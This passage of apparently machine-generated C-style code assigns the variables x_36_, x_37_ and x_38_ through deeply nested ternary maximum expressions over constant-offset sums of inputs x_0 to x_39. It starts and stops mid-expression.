x_20) > ((15.0 + x_21) > (5.0 + x_23)? (15.0 + x_21) : (5.0 + x_23))? (14.0 + x_20) : ((15.0 + x_21) > (5.0 + x_23)? (15.0 + x_21) : (5.0 + x_23))))? (((18.0 + x_0) > (5.0 + x_1)? (18.0 + x_0) : (5.0 + x_1)) > ((18.0 + x_3) > ((17.0 + x_5) > (10.0 + x_6)? (17.0 + x_5) : (10.0 + x_6))? (18.0 + x_3) : ((17.0 + x_5) > (10.0 + x_6)? (17.0 + x_5) : (10.0 + x_6)))? ((18.0 + x_0) > (5.0 + x_1)? (18.0 + x_0) : (5.0 + x_1)) : ((18.0 + x_3) > ((17.0 + x_5) > (10.0 + x_6)? (17.0 + x_5) : (10.0 + x_6))? (18.0 + x_3) : ((17.0 + x_5) > (10.0 + x_6)? (17.0 + x_5) : (10.0 + x_6)))) : (((20.0 + x_10) > (13.0 + x_13)? (20.0 + x_10) : (13.0 + x_13)) > ((14.0 + x_20) > ((15.0 + x_21) > (5.0 + x_23)? (15.0 + x_21) : (5.0 + x_23))? (14.0 + x_20) : ((15.0 + x_21) > (5.0 + x_23)? (15.0 + x_21) : (5.0 + x_23)))? ((20.0 + x_10) > (13.0 + x_13)? (20.0 + x_10) : (13.0 + x_13)) : ((14.0 + x_20) > ((15.0 + x_21) > (5.0 + x_23)? (15.0 + x_21) : (5.0 + x_23))? (14.0 + x_20) : ((15.0 + x_21) > (5.0 + x_23)? (15.0 + x_21) : (5.0 + x_23))))) : ((((11.0 + x_24) > (10.0 + x_25)? (11.0 + x_24) : (10.0 + x_25)) > ((15.0 + x_28) > ((13.0 + x_29) > (14.0 + x_30)? (13.0 + x_29) : (14.0 + x_30))? (15.0 + x_28) : ((13.0 + x_29) > (14.0 + x_30)? (13.0 + x_29) : (14.0 + x_30)))? ((11.0 + x_24) > (10.0 + x_25)? (11.0 + x_24) : (10.0 + x_25)) : ((15.0 + x_28) > ((13.0 + x_29) > (14.0 + x_30)? (13.0 + x_29) : (14.0 + x_30))? (15.0 + x_28) : ((13.0 + x_29) > (14.0 + x_30)? (13.0 + x_29) : (14.0 + x_30)))) > (((11.0 + x_33) > (14.0 + x_36)? (11.0 + x_33) : (14.0 + x_36)) > ((16.0 + x_37) > ((16.0 + x_38) > (19.0 + x_39)? (16.0 + x_38) : (19.0 + x_39))? (16.0 + x_37) : ((16.0 + x_38) > (19.0 + x_39)? (16.0 + x_38) : (19.0 + x_39)))? ((11.0 + x_33) > (14.0 + x_36)? (11.0 + x_33) : (14.0 + x_36)) : ((16.0 + x_37) > ((16.0 + x_38) > (19.0 + x_39)? (16.0 + x_38) : (19.0 + x_39))? (16.0 + x_37) : ((16.0 + x_38) > (19.0 + x_39)? (16.0 + x_38) : (19.0 + x_39))))? (((11.0 + x_24) > (10.0 + x_25)? (11.0 + x_24) : (10.0 + x_25)) > ((15.0 + x_28) > ((13.0 + x_29) > (14.0 + x_30)? (13.0 + x_29) : (14.0 + x_30))? (15.0 + x_28) : ((13.0 + x_29) > (14.0 + x_30)? (13.0 + x_29) : (14.0 + x_30)))? ((11.0 + x_24) > (10.0 + x_25)? (11.0 + x_24) : (10.0 + x_25)) : ((15.0 + x_28) > ((13.0 + x_29) > (14.0 + x_30)? (13.0 + x_29) : (14.0 + x_30))? (15.0 + x_28) : ((13.0 + x_29) > (14.0 + x_30)? (13.0 + x_29) : (14.0 + x_30)))) : (((11.0 + x_33) > (14.0 + x_36)? (11.0 + x_33) : (14.0 + x_36)) > ((16.0 + x_37) > ((16.0 + x_38) > (19.0 + x_39)? (16.0 + x_38) : (19.0 + x_39))? (16.0 + x_37) : ((16.0 + x_38) > (19.0 + x_39)? (16.0 + x_38) : (19.0 + x_39)))? ((11.0 + x_33) > (14.0 + x_36)? (11.0 + x_33) : (14.0 + x_36)) : ((16.0 + x_37) > ((16.0 + x_38) > (19.0 + x_39)? (16.0 + x_38) : (19.0 + x_39))? (16.0 + x_37) : ((16.0 + x_38) > (19.0 + x_39)? (16.0 + x_38) : (19.0 + x_39)))))); x_36_ = (((((6.0 + x_0) > (8.0 + x_2)? (6.0 + x_0) : (8.0 + x_2)) > ((18.0 + x_3) > ((19.0 + x_4) > (7.0 + x_7)? (19.0 + x_4) : (7.0 + x_7))? (18.0 + x_3) : ((19.0 + x_4) > (7.0 + x_7)? (19.0 + x_4) : (7.0 + x_7)))? ((6.0 + x_0) > (8.0 + x_2)? (6.0 + x_0) : (8.0 + x_2)) : ((18.0 + x_3) > ((19.0 + x_4) > (7.0 + x_7)? (19.0 + x_4) : (7.0 + x_7))? (18.0 + x_3) : ((19.0 + x_4) > (7.0 + x_7)? (19.0 + x_4) : (7.0 + x_7)))) > (((17.0 + x_11) > (7.0 + x_14)? (17.0 + x_11) : (7.0 + x_14)) > ((12.0 + x_21) > ((16.0 + x_23) > (14.0 + x_24)? (16.0 + x_23) : (14.0 + x_24))? (12.0 + x_21) : ((16.0 + x_23) > (14.0 + x_24)? (16.0 + x_23) : (14.0 + x_24)))? ((17.0 + x_11) > (7.0 + x_14)? (17.0 + x_11) : (7.0 + x_14)) : ((12.0 + x_21) > ((16.0 + x_23) > (14.0 + x_24)? (16.0 + x_23) : (14.0 + x_24))? (12.0 + x_21) : ((16.0 + x_23) > (14.0 + x_24)? (16.0 + x_23) : (14.0 + x_24))))? (((6.0 + x_0) > (8.0 + x_2)? (6.0 + x_0) : (8.0 + x_2)) > ((18.0 + x_3) > ((19.0 + x_4) > (7.0 + x_7)? (19.0 + x_4) : (7.0 + x_7))? (18.0 + x_3) : ((19.0 + x_4) > (7.0 + x_7)? (19.0 + x_4) : (7.0 + x_7)))? ((6.0 + x_0) > (8.0 + x_2)? (6.0 + x_0) : (8.0 + x_2)) : ((18.0 + x_3) > ((19.0 + x_4) > (7.0 + x_7)? (19.0 + x_4) : (7.0 + x_7))? (18.0 + x_3) : ((19.0 + x_4) > (7.0 + x_7)? (19.0 + x_4) : (7.0 + x_7)))) : (((17.0 + x_11) > (7.0 + x_14)? (17.0 + x_11) : (7.0 + x_14)) > ((12.0 + x_21) > ((16.0 + x_23) > (14.0 + x_24)? (16.0 + x_23) : (14.0 + x_24))? (12.0 + x_21) : ((16.0 + x_23) > (14.0 + x_24)? (16.0 + x_23) : (14.0 + x_24)))? ((17.0 + x_11) > (7.0 + x_14)? (17.0 + x_11) : (7.0 + x_14)) : ((12.0 + x_21) > ((16.0 + x_23) > (14.0 + x_24)? (16.0 + x_23) : (14.0 + x_24))? (12.0 + x_21) : ((16.0 + x_23) > (14.0 + x_24)? (16.0 + x_23) : (14.0 + x_24))))) > ((((13.0 + x_25) > (7.0 + x_28)? (13.0 + x_25) : (7.0 + x_28)) > ((5.0 + x_29) > ((11.0 + x_30) > (10.0 + x_31)? (11.0 + x_30) : (10.0 + x_31))? (5.0 + x_29) : ((11.0 + x_30) > (10.0 + x_31)? (11.0 + x_30) : (10.0 + x_31)))? ((13.0 + x_25) > (7.0 + x_28)? (13.0 + x_25) : (7.0 + x_28)) : ((5.0 + x_29) > ((11.0 + x_30) > (10.0 + x_31)? (11.0 + x_30) : (10.0 + x_31))? (5.0 + x_29) : ((11.0 + x_30) > (10.0 + x_31)? (11.0 + x_30) : (10.0 + x_31)))) > (((10.0 + x_33) > (17.0 + x_34)? (10.0 + x_33) : (17.0 + x_34)) > ((8.0 + x_36) > ((10.0 + x_37) > (10.0 + x_39)? (10.0 + x_37) : (10.0 + x_39))? (8.0 + x_36) : ((10.0 + x_37) > (10.0 + x_39)? (10.0 + x_37) : (10.0 + x_39)))? ((10.0 + x_33) > (17.0 + x_34)? (10.0 + x_33) : (17.0 + x_34)) : ((8.0 + x_36) > ((10.0 + x_37) > (10.0 + x_39)? (10.0 + x_37) : (10.0 + x_39))? (8.0 + x_36) : ((10.0 + x_37) > (10.0 + x_39)? (10.0 + x_37) : (10.0 + x_39))))? (((13.0 + x_25) > (7.0 + x_28)? (13.0 + x_25) : (7.0 + x_28)) > ((5.0 + x_29) > ((11.0 + x_30) > (10.0 + x_31)? (11.0 + x_30) : (10.0 + x_31))? (5.0 + x_29) : ((11.0 + x_30) > (10.0 + x_31)? (11.0 + x_30) : (10.0 + x_31)))? ((13.0 + x_25) > (7.0 + x_28)? (13.0 + x_25) : (7.0 + x_28)) : ((5.0 + x_29) > ((11.0 + x_30) > (10.0 + x_31)? (11.0 + x_30) : (10.0 + x_31))? (5.0 + x_29) : ((11.0 + x_30) > (10.0 + x_31)? (11.0 + x_30) : (10.0 + x_31)))) : (((10.0 + x_33) > (17.0 + x_34)? (10.0 + x_33) : (17.0 + x_34)) > ((8.0 + x_36) > ((10.0 + x_37) > (10.0 + x_39)? (10.0 + x_37) : (10.0 + x_39))? (8.0 + x_36) : ((10.0 + x_37) > (10.0 + x_39)? (10.0 + x_37) : (10.0 + x_39)))? ((10.0 + x_33) > (17.0 + x_34)? (10.0 + x_33) : (17.0 + x_34)) : ((8.0 + x_36) > ((10.0 + x_37) > (10.0 + x_39)? (10.0 + x_37) : (10.0 + x_39))? (8.0 + x_36) : ((10.0 + x_37) > (10.0 + x_39)? (10.0 + x_37) : (10.0 + x_39)))))? ((((6.0 + x_0) > (8.0 + x_2)? (6.0 + x_0) : (8.0 + x_2)) > ((18.0 + x_3) > ((19.0 + x_4) > (7.0 + x_7)? (19.0 + x_4) : (7.0 + x_7))? (18.0 + x_3) : ((19.0 + x_4) > (7.0 + x_7)? (19.0 + x_4) : (7.0 + x_7)))? ((6.0 + x_0) > (8.0 + x_2)? (6.0 + x_0) : (8.0 + x_2)) : ((18.0 + x_3) > ((19.0 + x_4) > (7.0 + x_7)? (19.0 + x_4) : (7.0 + x_7))? (18.0 + x_3) : ((19.0 + x_4) > (7.0 + x_7)? (19.0 + x_4) : (7.0 + x_7)))) > (((17.0 + x_11) > (7.0 + x_14)? (17.0 + x_11) : (7.0 + x_14)) > ((12.0 + x_21) > ((16.0 + x_23) > (14.0 + x_24)? (16.0 + x_23) : (14.0 + x_24))? (12.0 + x_21) : ((16.0 + x_23) > (14.0 + x_24)? (16.0 + x_23) : (14.0 + x_24)))? ((17.0 + x_11) > (7.0 + x_14)? (17.0 + x_11) : (7.0 + x_14)) : ((12.0 + x_21) > ((16.0 + x_23) > (14.0 + x_24)? (16.0 + x_23) : (14.0 + x_24))? (12.0 + x_21) : ((16.0 + x_23) > (14.0 + x_24)? (16.0 + x_23) : (14.0 + x_24))))? (((6.0 + x_0) > (8.0 + x_2)? (6.0 + x_0) : (8.0 + x_2)) > ((18.0 + x_3) > ((19.0 + x_4) > (7.0 + x_7)? (19.0 + x_4) : (7.0 + x_7))? (18.0 + x_3) : ((19.0 + x_4) > (7.0 + x_7)? (19.0 + x_4) : (7.0 + x_7)))? ((6.0 + x_0) > (8.0 + x_2)? (6.0 + x_0) : (8.0 + x_2)) : ((18.0 + x_3) > ((19.0 + x_4) > (7.0 + x_7)? (19.0 + x_4) : (7.0 + x_7))? (18.0 + x_3) : ((19.0 + x_4) > (7.0 + x_7)? (19.0 + x_4) : (7.0 + x_7)))) : (((17.0 + x_11) > (7.0 + x_14)? (17.0 + x_11) : (7.0 + x_14)) > ((12.0 + x_21) > ((16.0 + x_23) > (14.0 + x_24)? (16.0 + x_23) : (14.0 + x_24))? (12.0 + x_21) : ((16.0 + x_23) > (14.0 + x_24)? (16.0 + x_23) : (14.0 + x_24)))? ((17.0 + x_11) > (7.0 + x_14)? (17.0 + x_11) : (7.0 + x_14)) : ((12.0 + x_21) > ((16.0 + x_23) > (14.0 + x_24)? (16.0 + x_23) : (14.0 + x_24))? (12.0 + x_21) : ((16.0 + x_23) > (14.0 + x_24)? (16.0 + x_23) : (14.0 + x_24))))) : ((((13.0 + x_25) > (7.0 + x_28)? (13.0 + x_25) : (7.0 + x_28)) > ((5.0 + x_29) > ((11.0 + x_30) > (10.0 + x_31)? (11.0 + x_30) : (10.0 + x_31))? (5.0 + x_29) : ((11.0 + x_30) > (10.0 + x_31)? (11.0 + x_30) : (10.0 + x_31)))? ((13.0 + x_25) > (7.0 + x_28)? (13.0 + x_25) : (7.0 + x_28)) : ((5.0 + x_29) > ((11.0 + x_30) > (10.0 + x_31)? (11.0 + x_30) : (10.0 + x_31))? (5.0 + x_29) : ((11.0 + x_30) > (10.0 + x_31)? (11.0 + x_30) : (10.0 + x_31)))) > (((10.0 + x_33) > (17.0 + x_34)? (10.0 + x_33) : (17.0 + x_34)) > ((8.0 + x_36) > ((10.0 + x_37) > (10.0 + x_39)? (10.0 + x_37) : (10.0 + x_39))? (8.0 + x_36) : ((10.0 + x_37) > (10.0 + x_39)? (10.0 + x_37) : (10.0 + x_39)))? ((10.0 + x_33) > (17.0 + x_34)? (10.0 + x_33) : (17.0 + x_34)) : ((8.0 + x_36) > ((10.0 + x_37) > (10.0 + x_39)? (10.0 + x_37) : (10.0 + x_39))? (8.0 + x_36) : ((10.0 + x_37) > (10.0 + x_39)? (10.0 + x_37) : (10.0 + x_39))))? (((13.0 + x_25) > (7.0 + x_28)? (13.0 + x_25) : (7.0 + x_28)) > ((5.0 + x_29) > ((11.0 + x_30) > (10.0 + x_31)? (11.0 + x_30) : (10.0 + x_31))? (5.0 + x_29) : ((11.0 + x_30) > (10.0 + x_31)? (11.0 + x_30) : (10.0 + x_31)))? ((13.0 + x_25) > (7.0 + x_28)? (13.0 + x_25) : (7.0 + x_28)) : ((5.0 + x_29) > ((11.0 + x_30) > (10.0 + x_31)? (11.0 + x_30) : (10.0 + x_31))? (5.0 + x_29) : ((11.0 + x_30) > (10.0 + x_31)? (11.0 + x_30) : (10.0 + x_31)))) : (((10.0 + x_33) > (17.0 + x_34)? (10.0 + x_33) : (17.0 + x_34)) > ((8.0 + x_36) > ((10.0 + x_37) > (10.0 + x_39)? (10.0 + x_37) : (10.0 + x_39))? (8.0 + x_36) : ((10.0 + x_37) > (10.0 + x_39)? (10.0 + x_37) : (10.0 + x_39)))? ((10.0 + x_33) > (17.0 + x_34)? (10.0 + x_33) : (17.0 + x_34)) : ((8.0 + x_36) > ((10.0 + x_37) > (10.0 + x_39)? (10.0 + x_37) : (10.0 + x_39))? (8.0 + x_36) : ((10.0 + x_37) > (10.0 + x_39)? (10.0 + x_37) : (10.0 + x_39)))))); x_37_ = (((((20.0 + x_0) > (6.0 + x_1)? (20.0 + x_0) : (6.0 + x_1)) > ((4.0 + x_2) > ((16.0 + x_3) > (4.0 + x_4)? (16.0 + x_3) : (4.0 + x_4))? (4.0 + x_2) : ((16.0 + x_3) > (4.0 + x_4)? (16.0 + x_3) : (4.0 + x_4)))? ((20.0 + x_0) > (6.0 + x_1)? (20.0 + x_0) : (6.0 + x_1)) : ((4.0 + x_2) > ((16.0 + x_3) > (4.0 + x_4)? (16.0 + x_3) : (4.0 + x_4))? (4.0 + x_2) : ((16.0 + x_3) > (4.0 + x_4)? (16.0 + x_3) : (4.0 + x_4)))) > (((6.0 + x_5) > (10.0 + x_8)? (6.0 + x_5) : (10.0 + x_8)) > ((2.0 + x_13) > ((12.0 + x_15) > (12.0 + x_16)? (12.0 + x_15) : (12.0 + x_16))? (2.0 + x_13) : ((12.0 + x_15) > (12.0 + x_16)? (12.0 + x_15) : (12.0 + x_16)))? ((6.0 + x_5) > (10.0 + x_8)? (6.0 + x_5) : (10.0 + x_8)) : ((2.0 + x_13) > ((12.0 + x_15) > (12.0 + x_16)? (12.0 + x_15) : (12.0 + x_16))? (2.0 + x_13) : ((12.0 + x_15) > (12.0 + x_16)? (12.0 + x_15) : (12.0 + x_16))))? (((20.0 + x_0) > (6.0 + x_1)? (20.0 + x_0) : (6.0 + x_1)) > ((4.0 + x_2) > ((16.0 + x_3) > (4.0 + x_4)? (16.0 + x_3) : (4.0 + x_4))? (4.0 + x_2) : ((16.0 + x_3) > (4.0 + x_4)? (16.0 + x_3) : (4.0 + x_4)))? ((20.0 + x_0) > (6.0 + x_1)? (20.0 + x_0) : (6.0 + x_1)) : ((4.0 + x_2) > ((16.0 + x_3) > (4.0 + x_4)? (16.0 + x_3) : (4.0 + x_4))? (4.0 + x_2) : ((16.0 + x_3) > (4.0 + x_4)? (16.0 + x_3) : (4.0 + x_4)))) : (((6.0 + x_5) > (10.0 + x_8)? (6.0 + x_5) : (10.0 + x_8)) > ((2.0 + x_13) > ((12.0 + x_15) > (12.0 + x_16)? (12.0 + x_15) : (12.0 + x_16))? (2.0 + x_13) : ((12.0 + x_15) > (12.0 + x_16)? (12.0 + x_15) : (12.0 + x_16)))? ((6.0 + x_5) > (10.0 + x_8)? (6.0 + x_5) : (10.0 + x_8)) : ((2.0 + x_13) > ((12.0 + x_15) > (12.0 + x_16)? (12.0 + x_15) : (12.0 + x_16))? (2.0 + x_13) : ((12.0 + x_15) > (12.0 + x_16)? (12.0 + x_15) : (12.0 + x_16))))) > ((((1.0 + x_17) > (20.0 + x_18)? (1.0 + x_17) : (20.0 + x_18)) > ((18.0 + x_25) > ((17.0 + x_27) > (15.0 + x_28)? (17.0 + x_27) : (15.0 + x_28))? (18.0 + x_25) : ((17.0 + x_27) > (15.0 + x_28)? (17.0 + x_27) : (15.0 + x_28)))? ((1.0 + x_17) > (20.0 + x_18)? (1.0 + x_17) : (20.0 + x_18)) : ((18.0 + x_25) > ((17.0 + x_27) > (15.0 + x_28)? (17.0 + x_27) : (15.0 + x_28))? (18.0 + x_25) : ((17.0 + x_27) > (15.0 + x_28)? (17.0 + x_27) : (15.0 + x_28)))) > (((5.0 + x_29) > (5.0 + x_32)? (5.0 + x_29) : (5.0 + x_32)) > ((20.0 + x_33) > ((11.0 + x_36) > (17.0 + x_38)? (11.0 + x_36) : (17.0 + x_38))? (20.0 + x_33) : ((11.0 + x_36) > (17.0 + x_38)? (11.0 + x_36) : (17.0 + x_38)))? ((5.0 + x_29) > (5.0 + x_32)? (5.0 + x_29) : (5.0 + x_32)) : ((20.0 + x_33) > ((11.0 + x_36) > (17.0 + x_38)? (11.0 + x_36) : (17.0 + x_38))? (20.0 + x_33) : ((11.0 + x_36) > (17.0 + x_38)? (11.0 + x_36) : (17.0 + x_38))))? (((1.0 + x_17) > (20.0 + x_18)? (1.0 + x_17) : (20.0 + x_18)) > ((18.0 + x_25) > ((17.0 + x_27) > (15.0 + x_28)? (17.0 + x_27) : (15.0 + x_28))? (18.0 + x_25) : ((17.0 + x_27) > (15.0 + x_28)? (17.0 + x_27) : (15.0 + x_28)))? ((1.0 + x_17) > (20.0 + x_18)? (1.0 + x_17) : (20.0 + x_18)) : ((18.0 + x_25) > ((17.0 + x_27) > (15.0 + x_28)? (17.0 + x_27) : (15.0 + x_28))? (18.0 + x_25) : ((17.0 + x_27) > (15.0 + x_28)? (17.0 + x_27) : (15.0 + x_28)))) : (((5.0 + x_29) > (5.0 + x_32)? (5.0 + x_29) : (5.0 + x_32)) > ((20.0 + x_33) > ((11.0 + x_36) > (17.0 + x_38)? (11.0 + x_36) : (17.0 + x_38))? (20.0 + x_33) : ((11.0 + x_36) > (17.0 + x_38)? (11.0 + x_36) : (17.0 + x_38)))? ((5.0 + x_29) > (5.0 + x_32)? (5.0 + x_29) : (5.0 + x_32)) : ((20.0 + x_33) > ((11.0 + x_36) > (17.0 + x_38)? (11.0 + x_36) : (17.0 + x_38))? (20.0 + x_33) : ((11.0 + x_36) > (17.0 + x_38)? (11.0 + x_36) : (17.0 + x_38)))))? ((((20.0 + x_0) > (6.0 + x_1)? (20.0 + x_0) : (6.0 + x_1)) > ((4.0 + x_2) > ((16.0 + x_3) > (4.0 + x_4)? (16.0 + x_3) : (4.0 + x_4))? (4.0 + x_2) : ((16.0 + x_3) > (4.0 + x_4)? (16.0 + x_3) : (4.0 + x_4)))? ((20.0 + x_0) > (6.0 + x_1)? (20.0 + x_0) : (6.0 + x_1)) : ((4.0 + x_2) > ((16.0 + x_3) > (4.0 + x_4)? (16.0 + x_3) : (4.0 + x_4))? (4.0 + x_2) : ((16.0 + x_3) > (4.0 + x_4)? (16.0 + x_3) : (4.0 + x_4)))) > (((6.0 + x_5) > (10.0 + x_8)? (6.0 + x_5) : (10.0 + x_8)) > ((2.0 + x_13) > ((12.0 + x_15) > (12.0 + x_16)? (12.0 + x_15) : (12.0 + x_16))? (2.0 + x_13) : ((12.0 + x_15) > (12.0 + x_16)? (12.0 + x_15) : (12.0 + x_16)))? ((6.0 + x_5) > (10.0 + x_8)? (6.0 + x_5) : (10.0 + x_8)) : ((2.0 + x_13) > ((12.0 + x_15) > (12.0 + x_16)? (12.0 + x_15) : (12.0 + x_16))? (2.0 + x_13) : ((12.0 + x_15) > (12.0 + x_16)? (12.0 + x_15) : (12.0 + x_16))))? (((20.0 + x_0) > (6.0 + x_1)? (20.0 + x_0) : (6.0 + x_1)) > ((4.0 + x_2) > ((16.0 + x_3) > (4.0 + x_4)? (16.0 + x_3) : (4.0 + x_4))? (4.0 + x_2) : ((16.0 + x_3) > (4.0 + x_4)? (16.0 + x_3) : (4.0 + x_4)))? ((20.0 + x_0) > (6.0 + x_1)? (20.0 + x_0) : (6.0 + x_1)) : ((4.0 + x_2) > ((16.0 + x_3) > (4.0 + x_4)? (16.0 + x_3) : (4.0 + x_4))? (4.0 + x_2) : ((16.0 + x_3) > (4.0 + x_4)? (16.0 + x_3) : (4.0 + x_4)))) : (((6.0 + x_5) > (10.0 + x_8)? (6.0 + x_5) : (10.0 + x_8)) > ((2.0 + x_13) > ((12.0 + x_15) > (12.0 + x_16)? (12.0 + x_15) : (12.0 + x_16))? (2.0 + x_13) : ((12.0 + x_15) > (12.0 + x_16)? (12.0 + x_15) : (12.0 + x_16)))? ((6.0 + x_5) > (10.0 + x_8)? (6.0 + x_5) : (10.0 + x_8)) : ((2.0 + x_13) > ((12.0 + x_15) > (12.0 + x_16)? (12.0 + x_15) : (12.0 + x_16))? (2.0 + x_13) : ((12.0 + x_15) > (12.0 + x_16)? (12.0 + x_15) : (12.0 + x_16))))) : ((((1.0 + x_17) > (20.0 + x_18)? (1.0 + x_17) : (20.0 + x_18)) > ((18.0 + x_25) > ((17.0 + x_27) > (15.0 + x_28)? (17.0 + x_27) : (15.0 + x_28))? (18.0 + x_25) : ((17.0 + x_27) > (15.0 + x_28)? (17.0 + x_27) : (15.0 + x_28)))? ((1.0 + x_17) > (20.0 + x_18)? (1.0 + x_17) : (20.0 + x_18)) : ((18.0 + x_25) > ((17.0 + x_27) > (15.0 + x_28)? (17.0 + x_27) : (15.0 + x_28))? (18.0 + x_25) : ((17.0 + x_27) > (15.0 + x_28)? (17.0 + x_27) : (15.0 + x_28)))) > (((5.0 + x_29) > (5.0 + x_32)? (5.0 + x_29) : (5.0 + x_32)) > ((20.0 + x_33) > ((11.0 + x_36) > (17.0 + x_38)? (11.0 + x_36) : (17.0 + x_38))? (20.0 + x_33) : ((11.0 + x_36) > (17.0 + x_38)? (11.0 + x_36) : (17.0 + x_38)))? ((5.0 + x_29) > (5.0 + x_32)? (5.0 + x_29) : (5.0 + x_32)) : ((20.0 + x_33) > ((11.0 + x_36) > (17.0 + x_38)? (11.0 + x_36) : (17.0 + x_38))? (20.0 + x_33) : ((11.0 + x_36) > (17.0 + x_38)? (11.0 + x_36) : (17.0 + x_38))))? (((1.0 + x_17) > (20.0 + x_18)? (1.0 + x_17) : (20.0 + x_18)) > ((18.0 + x_25) > ((17.0 + x_27) > (15.0 + x_28)? (17.0 + x_27) : (15.0 + x_28))? (18.0 + x_25) : ((17.0 + x_27) > (15.0 + x_28)? (17.0 + x_27) : (15.0 + x_28)))? ((1.0 + x_17) > (20.0 + x_18)? (1.0 + x_17) : (20.0 + x_18)) : ((18.0 + x_25) > ((17.0 + x_27) > (15.0 + x_28)? (17.0 + x_27) : (15.0 + x_28))? (18.0 + x_25) : ((17.0 + x_27) > (15.0 + x_28)? (17.0 + x_27) : (15.0 + x_28)))) : (((5.0 + x_29) > (5.0 + x_32)? (5.0 + x_29) : (5.0 + x_32)) > ((20.0 + x_33) > ((11.0 + x_36) > (17.0 + x_38)? (11.0 + x_36) : (17.0 + x_38))? (20.0 + x_33) : ((11.0 + x_36) > (17.0 + x_38)? (11.0 + x_36) : (17.0 + x_38)))? ((5.0 + x_29) > (5.0 + x_32)? (5.0 + x_29) : (5.0 + x_32)) : ((20.0 + x_33) > ((11.0 + x_36) > (17.0 + x_38)? (11.0 + x_36) : (17.0 + x_38))? (20.0 + x_33) : ((11.0 + x_36) > (17.0 + x_38)? (11.0 + x_36) : (17.0 + x_38)))))); x_38_ = (((((1.0 + x_2) > (9.0 + x_3)? (1.0 + x_2) : (9.0 + x_3)) > ((9.0 + x_5) > ((14.0 + x_6) > (19.0 + x_7)? (14.0 + x_6) : (19.0 + x_7))? (9.0 + x_5) : ((14.0 + x_6) > (19.0 + x_7)? (14.0 + x_6) : (19.0 + x_7)))? ((1.0 + x_2) > (9.0 + x_3)? (1.0 + x_2) : (9.0 + x_3)) : ((9.0 + x_5) > ((14.0 + x_6) > (19.0 + x_7)? (14.0 + x_6) : (19.0 + x_7))? (9.0 + x_5) : ((14.0 + x_6) > (19.0 + x_7)? (14.0 + x_6) : (19.0 + x_7)))) > (((9.0 + x_8) > (19.0 + x_9)? (9.0 + x_8) : (19.0 + x_9)) > ((3.0 + x_10) > ((15.0 + x_12) > (13.0 + x_14)? (15.0 + x_12) : (13.0 + x_14))? (3.0 + x_10) : ((15.0 + x_12) > (13.0 + x_14)? (15.0 + x_12) : (13.0 + x_14)))? ((9.0 + x_8) > (19.0 + x_9)? (9.0 + x_8) : (19.0 + x_9)) : ((3.0 + x_10) > ((15.0 + x_12) > (13.0 + x_14)? (15.0 + x_12) : (13.0 + x_14))? (3.0 + x_10) : ((15.0 + x_12) > (13.0 + x_14)? (15.0 + x_12) : (13.0 + x_14))))? (((1.0 + x_2) > (9.0 + x_3)? (1.0 + x_2) : (9.0 + x_3)) > ((9.0 + x_5) > ((14.0 + x_6) > (19.0 + x_7)? (14.0 + x_6) : (19.0 + x_7))? (9.0 + x_5) : ((14.0 + x_6) > (19.0 + x_7)? (14.0 + x_6) : (19.0 + x_7)))? ((1.0 + x_2) > (9.0 + x_3)? (1.0 + x_2) : (9.0 + x_3)) : ((9.0 + x_5) > ((14.0 + x_6) > (19.0 + x_7)? (14.0 + x_6) : (19.0 + x_7))? (9.0 + x_5) : ((14.0 + x_6) > (19.0 + x_7)? (14.0 + x_6) : (19.0 + x_7)))) : (((9.0 + x_8) > (19.0 + x_9)? (9.0 + x_8) : (19.0 + x_9)) > ((3.0 + x_10) > ((15.0 + x_12) > (13.0 + x_14)? (15.0 + x_12) : (13.0 + x_14))? (3.0 + x_10) : ((15.0 + x_12) > (13.0 + x_14)? (15.0 + x_12) : (13.0 + x_14)))? ((9.0 + x_8) > (19.0 + x_9)? (9.0 + x_8) : (19.0 + x_9)) : ((3.0 + x_10) > ((15.0 + x_12) > (13.0 + x_14)? (15.0 + x_12) : (13.0 + x_14))? (3.0 + x_10) : ((15.0 + x_12) > (13.0 + x_14)? (15.0 + x_12) : (13.0 + x_14))))) > ((((13.0 + x_15) > (5.0 + x_18)? (13.0 + x_15) : (5.0 + x_18)) > ((16.0 + x_22) > ((16.0 + x_26) > (4.0 + x_28)? (16.0 + x_26) : (4.0 + x_28))? (16.0 + x_22) : ((16.0 + x_26) > (4.0 + x_28)? (16.0 + x_26) : (4.0 + x_28)))? ((13.0 + x_15) > (5.0 + x_18)? (13.0 + x_15) : (5.0 + x_18)) : ((16.0 + x_22) > ((16.0 + x_26) > (4.0 + x_28)? (16.0 + x_26) : (4.0 + x_28))? (16.0 + x_22) : ((16.0 + x_26) > (4.0 + x_28)? (16.0 + x_26) : (4.0 + x_28)))) > (((13.0 + x_30) > (4.0 + x_32)? (13.0 + x_30) : (4.0 + x_32)) > ((5.0 + x_33) > ((13.0 + x_34) > (20.0 + x_37)? (13.0 + x_34) : (20.0 + x_37))? (5.0 + x_33) : ((13.0 + x_34) > (20.0 + x_37)? (13.0 + x_34) : (20.0 + x_37)))? ((13.0 + x_30) > (4.0 + x_32)? (13.0 + x_30) : (4.0 + x_32)) : ((5.0 + x_33) > ((13.0 + x_34) > (20.0 + x_37)? (13.0 + x_34) : (20.0 + x_37))? (5.0 + x_33) : ((13.0 + x_34) > (20.0 + x_37)? (13.0 + x_34) : (20.0 + x_37))))? (((13.0 + x_15) > (5.0 + x_18)? (13.0 + x_15) : (5.0 + x_18)) > ((16.0 + x_22) > ((16.0 + x_26) > (4.0 + x_28)? (16.0 + x_26) : (4.0 + x_28))? (16.0 + x_22) : ((16.0 + x_26) > (4.0 + x_28)? (16.0 + x_26) : (4.0 + x_28)))? ((13.0 + x_15) > (5.0 + x_18)? (13.0 + x_15) : (5.0 + x_18)) : ((16.0 + x_22) > ((16.0 + x_26) > (4.0 + x_28)? (16.0 + x_26) : (4.0 + x_28))? (16.0 + x_22) : ((16.0 + x_26) > (4.0 + x_28)? (16.0 + x_26) : (4.0 + x_28)))) : (((13.0 + x_30) > (4.0 + x_32)? (13.0 + x_30) : (4.0 + x_32)) > ((5.0 + x_33) > ((13.0 + x_34) > (20.0 + x_37)? (13.0 + x_34) : (20.0 + x_37))? (5.0 + x_33) : ((13.0 + x_34) > (20.0 + x_37)? (13.0 + x_34) : (20.0 + x_37)))? ((13.0 + x_30) > (4.0 + x_32)? (13.0 + x_30) : (4.0 + x_32)) : ((5.0 + x_33) > ((13.0 + x_34) > (20.0 + x_37)? (13.0 + x_34) : (20.0 + x_37))? (5.0 + x_33) : ((13.0 + x_34) > (20.0 + x_37)? (13.0 + x_34) : (20.0 + x_37)))))? ((((1.0 + x_2) > (9.0 + x_3)? (1.0 + x_2) : (9.0 + x_3)) > ((9.0 + x_5) > ((14.0 + x_6) > (19.0 + x_7)? (14.0 + x_6) : (19.0 + x_7))? (9.0 